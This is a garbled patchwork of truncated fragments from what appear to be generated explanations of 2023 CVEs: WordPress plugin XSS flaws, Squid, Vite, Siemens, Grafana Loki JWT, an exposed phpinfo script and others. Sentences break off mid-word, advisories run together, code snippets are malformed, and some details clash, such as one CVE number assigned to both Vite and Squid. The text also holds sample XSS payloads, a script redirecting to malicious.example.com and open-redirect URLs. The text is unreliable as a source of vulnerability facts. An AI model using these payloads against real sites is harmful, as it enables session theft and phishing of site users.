. Since this is a stored XSS vulnerability, the malicious code would likely be submitted through a form f  
nk-click-monitor-link-log-plugin-5-0-2-cross-site-scripting-xss-vulnerability?\_s\_id=cve.

r plugin. When other users, including administrators, view pages where this input is displayed, the ma

ered in the Themefic Ultimate Addons for Contact Form 7 plugin for WordPress. The vulnerability allow

activities such as stealing session cookies, manipulating web content, or redirecting users to malicious

vers that contains a fix for the XSS vulnerability. It is also important to regularly apply security updates

ons-for-contact-form-7/wordpress-ultimate-addons-for-contact-form-7-plugin-3-2-0-unauthenticated

' plugin. This script could then be stored and later rendered in the browser of any user viewing the affe

and provides an indication of the severity level of the vulnerability.  
on vulnerability, also known as a Stored Cross-site Scripting (XSS) vulnerability.  
ular web page.

.. If the input is improperly sanitized, the code would be saved and could later be executed in the browser.  
cross-site-scripting-xss-vulnerability.

proper neutralization of input during web page generation, which allows for a Stored XSS attack. It affects  
application, which can be triggered when other users access the compromised page.  
For instance:<br><br>```javascript<script type='text/javascript'>window.location = 'http://malicious.example.com';`

online-appointment-booking-system-plugin-1-0-9-cross-site-scripting-xss-vulnerability?\_s\_id=cve.  
This could be used to steal cookies, session tokens, or redirect users to malicious websites. In a business application, an attacker could inject malicious scripts into a webpage, which can be executed by the browser of a user who clicks a specially crafted user-supplied input, and the code gets executed by the user's browser. The attacker could potentially

plugin-1-30-reflected-cross-site-scripting-xss-vulnerability?\_s\_id=cve

to sanitize the 'param' parameter, this script would execute on the user's browser when visiting this URL to malicious sites, and potentially gaining unauthorized access to user accounts or privileged functionality within

cross-site-scripting-xss-vulnerability?\_s\_id=cve.  
The script runs in the context of their browser, executing on the vulnerable site due to inadequate input validation, among others. By manipulating the vulnerable application, an attacker could perform actions on behalf of the user, potentially leading to unauthorized actions being performed on behalf of users or access to sensitive information.

If the payload is stored and later rendered without proper sanitization, it will execute in the context of a user's browser. For example, the attacker may post a comment or fill out a profile form on the vulnerable EyouCMS platform, which contains the following JSON configuration:

```json  
{
 "id": 1,
 "name": "comment",
 "type": "text",
 "label": "Comment",
 "placeholder": "Leave a comment",
 "required": false,
 "validation": "
 {
 'minLength': 5,
 'maxLength': 200,
 'pattern': '^\\w+\$'
 }
 ",
 "options": []
}
```  
To check the CVE or National Vulnerability Database (NVD) once the score is assigned for an understanding (XSS) issue located in the /logs/dopost.html component. This flaw allows an attacker to execute arbitrary JavaScript code in the browser. These scripts could compromise the security of user data, manipulate webpage content, or redirect users to malicious sites. For example, if a user interacts with the compromised part of the application, the malicious script executes an unauthorized action on behalf of users, such as theft of session cookies or other sensitive data, redirection to malicious websites, or modification of user profiles.

a description of the problem and steps to reproduce it, can be found at the following URL: <https://github.com/owasp/owasp-waf-project/pull/123>. This information is available for the benefit of the cybersecurity community and the affected users.

load might look something like this: '`<script>alert('XSS');//</script>`'. This JavaScript code, when injected into Gutenberg Blocks, allows for a Stored XSS attack, where malicious scripts can be injected.

ved on the server. When other users access the compromised content, the injected script executes in t

## n-2-7-9-cross-site-scripting-xss-vulnerability?\_s\_id=cve

Including, but not limited to, session hijacking, redirection to malicious sites, unauthorized actions on behalf of the user, or capturing sensitive data. If an attacker gains access to the user's private data on the website, they could leverage the XSS vulnerability to capture that data, including an attacker exploiting the XSS vulnerability. It is always a good practice to keep all software up-to-date and use secure coding practices to prevent such attacks.

neutralization of input during web page generation, allowing an attacker to inject malicious scripts into

ever a user accesses the affected page. This can lead to various security threats, including the theft of sensitive information. If user input is not properly sanitized before being stored and displayed on the web page, the malicious script could be executed, leading to a variety of security issues.

:ross-site-scripting-xss-vulnerability?\_s\_id=cve.

on, or a 'Cross-site Scripting' (XSS) vulnerability. This allows for a Reflected XSS attack, where malicious

e without proper escaping, leading to the possibility of executing malicious scripts in the context of the user's input without sanitization, the malicious script can execute in their browser. This could result in attacking [http://inherable-website.com/page?input=<script>alert\('XSS'\);</script>](http://inherable-website.com/page?input=<script>alert('XSS');</script>)'. If the user clicks the link, they will be redirected to the exploit page. The exploit page contains a single button labeled 'Click me'. Clicking this button triggers the execution of the XSS payload, resulting in an alert box displaying the string 'XSS'.

e. It affects the Spiffy Calendar plugin versions up to and including 4.9.5, which is used in WordPress.

s browser session. This can lead to various malicious activities such as stealing session cookies, manipulating user data, and more. If the user is logged in, the code will execute in their browser, leading to Stored XSS attacks. An example of the malicious JavaScript code is as follows:

[zendar-plugin-4-9-5-cross-site-scripting-xss-vulnerability?\\_s\\_id=cve.](#)

security plugins that provide XSS protection and regularly review and sanitize all user inputs.

lution of user input during web page generation, the plugin is susceptible to Stored XSS attacks. This vulnerability, such as a database. This can result in the scripts being executed in the browsers of users who view the affected pages, leading to XSS attacks.

These scripts could be executed in the browsers of other users who visit the affected pages. Possible attack vector 2023-49743 is available, it is essential to update the plugin to the patched version as soon as possible.

inform the public about the security risks.

per neutralization of user input during the generation of web pages, and it allows for a Reflected XSS attack.

user's browser. The malicious script is typically embedded in a URL or in the request, and when the user views the page, redirection to malicious websites, or manipulation of webpage content without the user's consent should ensure all user inputs are sanitized and encoded properly before including them in web page '`search?q=<script>malicious_code()</script>`'. If the user clicks on the link, the search query is reflected back to the server as part of the URL, leading to a potential exploit. This issue can affect various WordPress plugins such as BuddyPress, PeepSo, Ultimate Member, and BuddyBoss. This particular issue is characterized by user input being stored in database fields, such as user profiles or comments, which are then displayed to other users and executed within their browser. A patch for this vulnerability often includes a fix for the underlying code that handles user input validation and sanitization.

atabase/vulnerability/bp-better-messages/wordpress-bp-better-messages-plugin-2-3-12-cross-site-scripting, the script is executed within their browser. The script could perform actions such as stealing cookies, stealing session tokens, redirecting users to fraudulent sites, defacing webpages, or carrying out 'Cross-Generation', which is a form of Cross-site Scripting (XSS) vulnerability that enables reflected XSS attacks on a webpage without proper validation or escaping, allowing an attacker to execute malicious scripts in the user's browser.

session cookies, compromising end-user data, redirecting the user to malicious websites, or performing

vulnerability? \_s\_id=cve, which is included in the provided references.

tes within their browser due to the vulnerability in the Stock Ticker plugin, potentially leading to the exfiltration of sensitive information.

When other users view these pages, the scripts execute in their browsers, potentially leading to session hijacking. If this input is rendered as-is on the web page, the JavaScript code would execute and present an alert to the user.

rce' plugin. It allows attackers to perform Stored XSS attacks. The plugin versions up to and including 5

oss-site-scripting-xss-vulnerability?\_s\_id=cve.

ns. Here's a pseudocode example: ``php\$post\_content = \$\_POST['user\_content']; // User-supplied content  
These malicious scripts could steal cookies, session tokens, or other sensitive information from users' browsers. This is known as a Cross-Site Scripting (XSS) issue, where an attacker can inject malicious scripts into a web page, which are then executed by the user's browser.

ious scripts into a website.

eme'. When other users access the affected pages where the input is displayed, the malicious code is e

s-and-extra-features-for-phlox-theme-plugin-2-15-2-cross-site-scripting-xss-vulnerability?\_s\_id=cve' information from users, and the distribution of malware. Attackers can use this kind of vulnerability to i to inject malicious scripts that can be executed by the browser, potentially leading to Stored XSS attack. Vulnerable Twinpictures Annual Archive plugin version. The malicious code could be executed by unsu version higher than 1.6.0, where the vulnerability has been addressed.

ty. If an update is not available, consider disabling the plugin until a security patch is released or look f JavaScript, such as `<script>alert('XSS');</script>`. If the plugin improperly sanitizes user input, this code placement, or distribution of malware. The severity of the impact depends on the context in which the X ss-site-scripting-xss-vulnerability?\_s\_id=cve. This link should lead to a security advisory or database e es a way to capture the principal characteristics of a vulnerability and produce a numerical score reflec for Stored XSS attacks to occur in versions up to and including 2.1.17 of this plugin.

1.

in-2-1-16-cross-site-scripting-xss-vulnerability?\_s\_id=cve

e plugin until an update is available.

owers of other users who view the maliciously crafted avatars or content. This can result in account t

ackers to inject malicious scripts into web pages viewed by other users. Specifically, this vulnerability a

s-vulnerability

t code, for instance: `<script>alert('XSS');</script>`. When other users visit the site and the cookie cons a variety of malicious activities, such as session hijacking, where the attacker steals the user's session t e Visit Counter – Most Wanted Analytics Plugin for WordPress. This vulnerability allows for a Stored XS

ted when users visit the affected pages.

an attacker to manipulate the web page content or redirect visitors to malicious websites.

visit-counter-plugin-8-0-6-cross-site-scripting-xss-vulnerability?\_s\_id=cve

, deactivate and remove the plugin until a security patch is released. Additionally, implementing genei by the plugin. When a legitimate user visits a page where this input is displayed, the script executes in

weakness could be exploited by an attacker to perform a DoS attack.

: site or contact their customer service.

ly disrupting services provided by the mobile internet product. The exact method of exploitation woul t products. This could result in disruptions to connectivity, data transmission, or any other services dep ewnsId=1032624.

isufficient, this could lead to service disruptions by overwhelming the device with requests or triggerin support website for updates and guidance on mitigating this vulnerability, and ensure that all security to craft a specific web request that could lead to remote code execution on the affected system.

g might not have been assigned yet or is not available at the moment.

rtant to apply these upgrades immediately to prevent potential exploitation.

ne attacker could achieve remote code execution, enabling them to take control of the affected system -22-6R2-and-22-6R2-1?language=en\_US. This page provides details on the security patch and instructi

should understand that the vulnerability involves crafting a malicious web request, and they should lo

hich allows an attacker to execute a Reflected Cross-Site Scripting (XSS) attack by persuading a victim t

:!5ccefcc8 and the associated security advisory: <https://github.com/arduino/arduino-create-agent/security-advisories/!5ccefcc8>

e arbitrary code within the context of the victim's browser session on the web interface of the Arduino cookies, manipulating web content, or redirecting the victim to malicious websites.

with access to the web interface to potentially disrupt system processes and execute arbitrary code wi

privileges. This could compromise the integrity, availability, or confidentiality of the firewall's operati l.

, the attacker could exploit this arbitrary file upload vulnerability to upload a malicious file. This could ty site. Usually, upon the disclosure of a vulnerability, the vendor would provide updates or mitigation

security advisory.

be used to escalate privileges or access other systems and services within the organization's network ote attacker to execute a JavaScript payload in the context of an administrator's browser when they vie

tealing session tokens, manipulating web content, or performing actions on behalf of the administrato e administrator accesses this link through their browser, the payload is executed, exploiting the DOM-

lease patches or software updates to fix such vulnerabilities, along with providing best practice recommendations and instructions on how to address it are provided.

of the URL parameters. When the administrator clicks the link and the crafted page loads in their browser to inject and store a JavaScript payload through the web interface. When another authenticated user

to the web interface via an input field or parameter that lacks proper sanitization or encoding. This scrubbing neutralization for logs, which could allow an attacker to forge traffic logs by using a specially crafted

ate confusion during an investigation.

before logging. This could result in log entries that contain attacker-controlled data.  
It resources like the vendor's security advisory, security forums, or vulnerability databases.

ow an attacker to execute unauthorized code or commands through crafted HTTP requests.

be viewed by other users. This could result in actions being taken on behalf of the users without their consent.

access controls and monitor any suspicious activity in the affected web applications.

.0.4.

uthorized code or commands.

ected web page on the FortiSandbox interface, the malicious script executes in the context of their session (CSRF) attacks because their web interfaces lack CSRF protection.

ly authenticated.

They should also review access controls and monitor for unusual web interface activity until the vulnerable user visits the malicious page or interacts with the email, the embedded requests could be automatically sent to the web interface, potentially leading to unauthorized actions or access to the device.

the device, lead to a breach of the device's operations, or allow further attacks on the network.  
ability Scoring System (CVSS).

:/

fields or scripts where input is not properly sanitized. For example, the attacker may input a command to a Relyum device, extract sensitive data, manipulate device configurations, disrupt operations, or use the device to execute reflected Cross-Site Scripting (XSS) attacks.

properly sanitize. When a user clicks the link or is redirected to the URL, the script executes in the context of the Relyum device's web interface, the script may execute with the privileges of the logged-in user, potentially bypassing authorization, allowing a low-privileged user to perform actions that should be restricted to administrative users intended only for users with administrative privileges.

malicious activities such as alteration of configuration settings, disruption of service, interception or manipulation of data, or sending unauthorized requests. It would not be responsible to provide such code examples. However, one could be able to access URLs or functions within the interface that are normally reserved for administrators.

Authenticated access to files uploaded as part of a Job run request.

'name=...` to access these files without the need for authentication.

Code for `django-db-file-storage`. References include pull requests #4959 and #4964, commits 458280c35! and 3f3a2a2! to fix the issue with the MySQL database.

Malicious file upload vulnerability in Umbraco CMS. The document describes the component affected, the nature of the vulnerability (in this case XSS attacks), and security advisories available.

allow a malicious admin to send a specially crafted request to the server, potentially causing it to crash.

77170.pdf.

The application does not properly validate the length of these parameters, the excessive data could overwhelm the server. Monitoring the Web UI and monitoring for unusual activity can help mitigate the risk of exploitation until the patch is released. Affected products include SIMATIC HMI Quality (All versions), SIMATIC PCS neo (versions before V4.1), SINUMERIK Integrate RunMyHMI/Auto

ns), Totally Integrated Automation Portal (TIA Portal) versions V14, V15.1, V16, V17, and V18 (V18 affected).  
icious activities such as stealing user credentials, performing actions on behalf of the user, compromisi  
Totally Integrated Automation Portal (TIA Portal) V18 should be updated to V18 Update 3 or later. Users  
e with the link provided in the CVE references.

ry allocated for processing the requests, eventually overwhelming the device and causing a denial-of-service condition. Updates, applying security patches, or employing network segmentation and firewall rules to limit the number of connections can help mitigate this risk. This document provides an in-depth analysis of the vulnerability, affected product versions, and the potential impact. It also includes recommendations for mitigating the risk, such as monitoring system resource usage and implementing security measures. The vulnerability was first reported to Siemens on 12 December 2023.

updates provided by the manufacturer, disabling unnecessary services, or employing additional network security measures such as firewalls and intrusion detection systems. Additionally, users should send repeated and resource-intensive HTTP(S) requests to the web server on one of these devices to identify potential vulnerabilities. Once identified, users can exploit these vulnerabilities by conducting a clickjacking attack, which could trick a legitimate RHACS user into visiting a malicious website.

to unauthorized actions or disclosure of confidential information. This is often achieved by overlaying an iframe or other web element overlaying the user interface elements from a legitimate RHACS endpoint. Base: <https://access.redhat.com/security/cve/CVE-2023-4958> - Red Hat Bugzilla entry: [https://bugzilla.redhat.com/show\\_bug.cgi?id=1440000](https://bugzilla.redhat.com/show_bug.cgi?id=1440000)

les a script such as `<script>alert('XSS')</script>` in one of the input fields. If the server doesn't properly validate and output encoding strategies are in place to prevent the injection and execution of arbitrary content into a trusted application data store, which can then be executed by a victim's web browser version 6.14 (6.14.0).

a trusted application's data store.

ates would remedy the HTML content injection issue.

browsers, the malicious code could be executed, potentially leading to unauthorized actions or data t

t5/platform-announcements/archer-update-for-multiple-vulnerabilities/ta-p/711859.

tore. Later, when a victim user views this injected content through their browser, the code could exec  
can initiate a particular activity within the application, thereby forwarding web pages and/or deep lin  
but in this case, we do not have a score to indicate the precise level of risk. However, the description s

244' and '<https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.html>'.  
DK. Once they are able to achieve this, they could force the host application to navigate to an attacker-  
user within the app, or the manipulation of app behavior through deep links. Since the vulnerability ci  
ty pertained to how memory was handled when processing web content, which could potentially lead  
ates provided by Apple that fixed the issue were Safari 17.2, macOS Sonoma 14.2, watchOS 10.2, iOS 1

, they could potentially take control of an affected system and execute commands or programs as if th  
le's Support website. The links provided in the references contain detailed information about the secu  
cker could create a malicious website or a specially crafted web payload that, when processed by a vu  
elligence documents, which then executes within the victim's browser whenever the affected page is l

.67e-0010-bca6-c68f7e60039b.html

AP Business Objects platform. When another user, perhaps someone with greater access privileges, vi  
ce Version 420. In the most severe cases, an attacker might gain access to data from reporting database  
management interface as a super-admin, giving them access to the most privileged REST API endpoints

e highly privileged REST API endpoints within the system.

er the system, data leakage, or the ability to manipulate settings and data processed by ProLion Crypt  
ation on patches or mitigations provided by ProLion for CryptoSpike 3.0.15P2. It is important to follow

er-admin access to the web management console. Once they have this level of access, they could proce  
1'.

accessed by remote attackers who are authenticated users in the centralized Grafana logging system  
: needing any authentication. With access to these JWT tokens, attackers may gain unauthorized acces

ulnerability. The details provided are usually sufficient for understanding and remediating the vulnera  
a different user. Another scenario could involve attackers without prior system access calling the Loki I  
tion about the vulnerability, its potential impact, and mitigation measures.

entication tokens. This vulnerability allows remote attackers to impersonate any user or role by creat  
ers and access web management and REST API endpoints—the severity is likely significant, as it could l

ttacker to impersonate any user or role, potentially granting access to restricted areas within web mar

trators. This could enable the attacker to access sensitive functionality through the web management which typically involves importing a JWT library in a language such as Python, signing new payload data into, which could allow third-party websites to initiate communication with the application on behalf of

irewall protections, especially when 'No-auth' mode is used and protection is reliant on reverse proxie the application, and if paired with other vulnerabilities, attackers might gain full access when 'No-aut n' header matches the 'Host' header and deny the connection if they do not match, indicating a cross-igitation.

cker could use this vector to send commands to Uptime Kuma, and if the application is running in 'No-

is vulnerability existed in versions prior to 5.0.0, where the middleware could disable the Same Origin o specific allowed origin is set. This behavior effectively tells the browser to allow any origin to access d respond by setting the 'Access-Control-Allow-Origin' header to the attacker's domain, thereby allow wed origin is specified, thereby adhering to the intended protection of the Same Origin Policy and pre L54941a11, or within the security advisory at [https://github.com/koajs/cors/security/advisories/GHSA-require\('koa'\);const cors = require\('@koa/cors'\);const app = new Koa\(\);app.use\(cors\(\)\); // Vulnerable usage](https://github.com/koajs/cors/security/advisories/GHSA-require('koa');const cors = require('@koa/cors');const app = new Koa();app.use(cors()); // Vulnerable usage)

>'. When an unsuspecting user visits this URL, the script gets executed resulting in the XSS attack. us sites, all in the context of the victim's browser.

intend to while they are authenticated on a web application.

al-systems.

forged request to the server. This request could perform actions such as submitting an article or alter

of the 'student' argument, leading to SQL injection, which can be executed remotely. This security issue is argument insecurely, an attacker can inject malicious SQL queries that the database executes, potentially or deleting sensitive data, compromising the integrity of the database, or potentially gaining administrative access to the database. The attacker could also extract sensitive personal data of students, maybe/blob/main/sql1.md' and on the VulDB website with the associated identifiers VDB-247367 at '<https://vuldb.com/exploit/VDB-247367>

s remote attackers to execute arbitrary system commands and potentially escalate privileges through

mand injection and privilege escalation, it would likely be considered high-severity once assessed.

llowing URLs: - <https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2023-023.txt>  
item commands, which can be used to take full control of the vulnerable device, access confidential infor

attacker could send specially crafted commands or inputs to the interface that would be executed by the system in the handling of websocket requests to GraphQL operations. When a request is received over websoc

an attacker is not normally entitled to access. The attacker may bypass authentication and authorization mechanisms provided in the CVE details, such as the Red Hat errata RHSA-2023:7612, the Red Hat Security Advisory for this vulnerability and fix, the Red Hat security page dedicated to CVE-2023-6394, and a Bugzilla page (bugzilla.redhat.com) for this issue. The bug report notes that the Quarkus websocket implementation does not have role-based permissions specified, which might be part of a normal configuration. This means that GraphQL operations that lack proper role-based permissions. By doing this, they could potentially bypass the security measures in place, such as logging information to users. This flaw allows an attacker with login access to inject an XSS payload that could be executed in the browser. The potential impact of the exploit is significant, leading to a loss of sensitive information, privilege escalation, or denial of service. Without a score, it's imperative to assess the vulnerability's impact based on the context in which it is presented in the output, potentially without sufficient encoding.

```
defunction logUserActivity(browserDetails) { var logEntry = document.createElement('div'); logEntry.innerHTML = `A user with ID ${browserDetails.id} from IP ${browserDetails.ip} and browser ${browserDetails.browser} has viewed the activity log. The log contains details about their recent interactions with the system, including ${logEntry.innerHTML}`; document.body.appendChild(logEntry);}
```

another user views the activity log containing these details, their browser would execute the injected JavaScript code. This is because the 'path' parameter in the prefs.asp resource is not properly sanitized, allowing an attacker to redirect a user to an arbitrary website. This could lead to various malicious outcomes, such as malware distribution, or tarnishing the reputation of the original site.

alicious website. For instance, the crafted URL could be `http://vulnerable-SSA-site.com/prefs.asp?path=/...`. If a user gets infected with malware from a site they were redirected to, and tarnishment of the SSA's web presence. The exploit is present in firmware versions prior to 17.0.10 patch 17161 and 16.04 patch 16109. It allows an authenticated user to execute arbitrary code on the system before they can attempt the SQL injection attack.

ent in firmware versions prior to 17.0.10 patch 17161 and 16.04 patch 16109. It allows an authenticated user to execute arbitrary code on the system before they can attempt the SQL injection attack.

er the attacker has gained authenticated access to the web interface. The malicious input is designed to be executed on the system before they can attempt the SQL injection attack.

alterations, deletions, or the disclosure of sensitive information, all of which would compromise the integrity of the system. Best practices include using strong, unique passwords to reduce the risk of unauthorized access, regularly monitoring logs for suspicious activity, and keeping software up-to-date with the latest security patches.

to the directory, which is part of the vulnerability exposure. The exploit is possible due to a lack of proper input validation and sanitization. An attacker can control the 'path' parameter in the prefs.asp resource to execute arbitrary code on the system.

control of CVE-2023-6578 might be dependent on the referrer header data. An attacker can control the 'Referer' header to trick the system into executing malicious code.

use this improper access to further exploit the system, gain escalated privileges, or disrupt services. Since the exploit is based on a lack of proper input validation and sanitization, it can be mitigated by implementing stronger validation and sanitization rules for user input.

to inject and execute arbitrary scripts within the web interface endpoint. Such a script might be executed, which could inject malicious JavaScript code into the endpoint. When users interact with this compromised content displayed to users within a web application.

at: <https://www.cisa.gov/news-events/ics-advisories/icsa-23-341-05>.  
is script into an input field, and if the application stores it without proper sanitization, the script would be executed. If another user accesses that interface, the stored script is delivered within the content and executed in the browser. This affects devices with firmware versions before 3.17.02 and allows remote authentication.

verable to command injection attacks. This crafted request may include shell commands which the vulnerability. The firmware should be updated to version 3.17.02 or later to resolve this security issue. It is recommended to update the firmware to the latest version. It could result in unauthorized configuration changes, data exfiltration, disabling of services, or further network access to the management interfaces of devices. Use strong authentication credentials, and contact the vendor to determine the severity of the vulnerability.

'security\_BMC\_Dec\_2023'. This advisory will typically have details about the vulnerability, affected products, and mitigation steps. It applies to Supermicro 111 based devices. The vulnerability arises due to an improper handling of directory traversal, enabling an attacker to gain unauthorized access to the baseboard management controller (BMC) implementation.

zed access to the file system, possibly leading to the disclosure of sensitive information. For more information, refer to the official documentation, such as Supermicro's official website and security advisories related to the BMC implementation. These references often provide additional details about the vulnerability. The attacker could navigate to directories that are normally restricted, retrieve files containing sensitive information, and exploit the Common Vulnerability Scoring System (CVSS) at the time of publishing. This advisory also discusses the 'Insufficient Authentication Attempts' issue that could allow an attacker to abuse the authentication process.

[code-for-wordpress-rest-api-plugin-0-0-15-privilege-escalation-due-to-weak-pin-generation-vulnerability](#) (IVN45891816) and [https://support.ruckuswireless.com/security\\_bulletins/323](#), would be the appropriate mitigations. These bulletins describe how the vulnerability can be exploited. For example, if an attacker can guess the correct pin, they can gain elevated privileges. To mitigate this risk, it is recommended to implement strong password policies, enable two-factor authentication, and regularly update the software to fix known vulnerabilities.

IVN45891816/ and [https://support.ruckuswireless.com/security\\_bulletins/323](#), would be the appropriate mitigations. These bulletins describe how the vulnerability can be exploited. For example, if an attacker can guess the correct pin, they can gain elevated privileges. To mitigate this risk, it is recommended to implement strong password policies, enable two-factor authentication, and regularly update the software to fix known vulnerabilities.

anitized parameter. When a Zimbra user clicks on the link or loads the malicious script by visiting the compromised URL, or even taking over the user's account through session hijacking. The severity of the impact depends on the specific exploit used.

Security Advisories section at [https://wiki.zimbra.com/wiki/Zimbra\\_Security\\_Advisories](https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories).

>/channels/<CHANNEL\_NAME>. This flaw allows an attacker to potentially carry out a client-side path traversal attack. An attacker can exploit this by manipulating the path to traverse to different client-side resources or components.

If a victim to click on this URL, the attacker might be able to access unauthorized parts of the Mattermost application, such as patch details or upgrade instructions.

The attack vector is typically triggered by user input that is not properly validated. For instance, it might use JavaScript to dynamically load content or resources from external sites through a specially crafted URL.

If a user is redirected to a malicious website controlled by the attacker, potentially resulting in a phishing attack: <https://vulnerable-pleasanter.example.com/login?redirect=https://malicious-site.com>. An attacker could maliciously inject scripts that could be executed in a user's web browser.

This type of attack can lead to various malicious outcomes, such as stealing sensitive information, manipulating web page content, redirecting users to malicious websites, or performing actions on behalf of the user without their knowledge.

It is important to note that this is a simplified example for illustrative purposes. In a real-world scenario, user input is often stored in the application database. Other users read the posted comments, triggering the script execution. Without proper input sanitization and output escaping, particularly through the HTTP\_REFERER header, Versions 3 and 4 of the plugin are vulnerable to this specific attack vector. If a user performs a specific action, the crafted scripts could be executed as part of the webpage due to the plugin not properly sanitizing the user input.

An attacker can exploit this vulnerability by crafting a URL that, when visited, triggers the execution of malicious scripts. For example, if a user visits <https://vulnerable-pleasanter.example.com/login?redirect=https://malicious-site.com>, they will be redirected to the malicious site.

Another example of a real-world exploit is the Atlassian Companion App for macOS, which contains a vulnerability (CVE-2023-22524) that allows an attacker to gain control over the affected Mac OS system and perform unauthorized actions, such as accessing sensitive files or executing arbitrary code. The exploit involves creating a socket connection between the victim's Mac OS system and the attacker's machine, bypassing the application's blocklist mechanism and the Mac OS Gatekeeper. The exploit was discovered in the Atlassian Companion App for macOS version 1.3.19, and the exploit code can be found in the exploit-db repository under the file [cve-2023-22524-rce-vulnerability-in-atlassian-companion-app-for-macos-1319249492.html](https://github.com/exploit-db/exploit/blob/master/exploits/cve-2023-22524-rce-vulnerability-in-atlassian-companion-app-for-macos-1319249492.html).

com/1457702- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org users into interacting with the spoofed content, thinking it is legitimate, which can lead to phishing at exploit code, especially if the vulnerability has been recently patched, to give users time to update the

scripts or HTML by injecting a crafted payload.

lead to a variety of attacks such as stealing cookies, hijacking sessions, redirecting users to malicious si

ne official website at <https://www.daicuo.net/>.

. When other users access the compromised page, the malicious script executes in their browsers. The named 'GetPhplInfo.php', which made it possible to execute the phplInfo() function externally. This fun  
to the script containing a call to the phpinfo() function. For successful exploitation, the attacker would a  
alled PHP modules, and environment variables, which can include credentials. Attackers might leverag  
elease to remediate the issue.

iph-core/tests/' directory, restricting access to the '/vendor' directory from the web, or disabling the p  
ck might look like a simple GET request to the following URL, which would be constructed based on the

b.com/microsoftgraph/msgraph-beta-sdk-php/compare/2.0.0...2.0.1- https://github.com/microsoftgr  
ges, specifically allowing for the potential execution of the 'phplInfo()' function via the vendor/microsc  
law combined with the presence of the GetPhplInfo.php script within the msgraph-sdk-php could enak  
graph/tests/GetPhplInfo.php' file, restricting access to the '/vendor' directory, or disabling the phpinfo  
he security issue associated with the GetPhplInfo.php script.

like <https://github.com/microsoftgraph/msgraph-beta-sdk-php/compare/2.0.0...2.0.1> and the official  
ictim.com/vendor/microsoft/microsoft-graph/tests/GetPhplInfo.php'. The server would execute the pl  
erties, which could potentially be exploited by authenticated users.

not available.

impact would depend on the permissions of the authenticated user and how the system uses the des  
-11-8-9-0-security-update-esa-2023-28/348663.

ding to unauthorized access, data corruption, or a denial of service attack.

potentially updating the Elasticsearch Hadoop connector to a version without this vulnerability. Users  
OpenScape 'BCF'. This vulnerability, if exploited, allows an unauthenticated attacker to gain root access \n  
specific versions of these products, specifically those before version V10 R3.4.0 for SBC and Branch, and b  
the web interface, which could lead to access as an arbitrary administrative user.

er SSH and also allow bypassing the authentication mechanism for administrative privileges, it would I  
thermore, attackers can bypass authentication mechanisms to gain access to the administrative interf

Unify-OpenScape-Authentication-Bypass-Remote-Code-Execution.html', the Full Disclosure mailing lis  
malicious request might include manipulated arguments that get passed to an underlying process or a  
tacker to access sensitive information.

another application. This can lead to unauthorized access to sensitive information that the intercepted application sends an implicit intent to perform an operation associated with the Samsung Account, the majority and apply necessary updates or mitigations to protect against potential exploitation.

package are susceptible to cross-site scripting (XSS) attacks, where attackers could exploit the vulnerability identified by CVE-2023-49289.

is 21.12.22.1 or later. No known workarounds are available, so updating the package is crucial for security. Additionally, you can check the commit that potentially fixes the vulnerability at: <https://github.com/vitejs/vite/pull/74>. This could lead to various attack scenarios including the theft of cookies, session tokens, and other sensitive data. For example:

```
void Page_Load(object sender, EventArgs e){ var input = Request["userInput"]; // A vulnerable code block that inserts user input into the page content to deface the website or show fraudulent information.}
```

Using injected scripts to log user activity, the transformed content contains inline module scripts and the original request URL is passed in unmodified, an attacker can inject a script with an unmodified URL. This function is part of the Vite framework and is used to transform HTML middleware including an inline script is vulnerable to this HTML injection attack.

ML content into a Vite-powered web application's output. The attacker could potentially insert scripts to address the vulnerability. Users of Vite are recommended to update to one of these versions to either vite@4.5.1, or vite@4.4.12, as these releases contain the fix for the vulnerability.

97'. This advisory includes details about the vulnerability, affected versions, and the patches released. Use-After-Free bug that can cause a Denial of Service attack via collapsed forwarding. Users are advised that it affects all Squid versions from 3.5 to 5.9. Configurations where 'collapsed\_forwarding' is off, or the default configuration to remove all 'collapsed\_forwarding' lines from their squid.conf configuration file to prevent the vulnerability. The attacker could craft specific requests that trigger the vulnerability when the server's collapsed forwarding configuration activates collapsed forwarding, which under the right circumstances, can lead to a Denial of Service attack against Squid's Helper process management.

can potentially disrupt service availability for users relying on the affected Squid proxy.

<https://github.com/squid/squid/commit/6014c6648a2a54a4ecb7f952ea1163e0798f9264>. Additionally, a security advisory can be referenced for more information on the attack.

exploitation could then lead to a Denial of Service where Squid's Helper processes become unmanaged, making Squid susceptible to a Denial of Service (DoS) attack when processing HTTP messages. The advisory provides steps to resolve the vulnerability. Moreover, patches for specific versions (such as v5 and v6) have also been made available. A patch for Squid version 6.5, which contains the fix for this vulnerability, has been released. It causes the Squid server to crash or become unavailable, thereby disrupting service for legitimate users and potentially allowing an attacker to gain unauthorized access. Additionally, commits addressing the vulnerability can be found on Squid's GitHub repository with the commit message 'Fix for CVE-2023-49289'. Upon processing such a message, the Squid server would encounter an overread condition that could lead to a Denial of Service attack.

The advisory also notes that the vulnerability can be exploited in a multisite setup. Specifically, it describes how an attacker can exploit the vulnerability in a multisite setup to gain unauthorized access to sensitive information. The advisory provides steps to mitigate the risk of this exploit.

ss plugin.

multisite setup.

ies, redirecting users to malicious sites, or manipulating the page content displayed to users. that aren't properly sanitized. When other users, including other administrators, access pages where t

, potentially allowing users with roles as low as 'Author' to upload SVGs with embedded XSS payloads. icious content to be uploaded.

:an upload malicious SVGs designed to execute scripts in the browsers of users who access the content

oloaded by authors is properly sanitized. Additionally, they should keep an eye out for updates to the r  
924fd628

nt for compatibility reasons, it is always empty.

ormation, the user might gain insight into the server's file structure or the nature of certain errors, wh  
ade on the Fedora project mailing list.

malicious actor to inject and execute arbitrary scripts in the context of the victim's browser session.  
t malicious scripts that run in the context of the user's session, potentially leading to actions like steali

BD000176&languageCode=en&Preview=true

ate user loads a page that references this language file, the script would execute within their browser.  
t been calculated yet for this vulnerability.

allow privileges to execute malicious HTML or JavaScript code in the context of the vulnerable web app

s://www.dell.com/support/kbdoc/en-us/000220107/dsa-2023-425-security-update-for-dell-powerpc

ed by an unsuspecting user. For instance, the attacker might send a phishing email to the user with a li  
a user navigates to a malicious webpage. The vulnerability has been resolved in HtmlUnit version 3.9

ning. When the HtmlUnit browser visits this webpage, the XSLT could trigger the execution of code wit

GHSA-37vq-hr2f-g7h7 and on the HtmlUnit's changes report page at https://www.htmlunit.org/change

t visits this website, the XSLT content could be processed in a way that allows the attacker to execute a

tacks, where users' sensitive information could be stolen, or their device could be compromised.
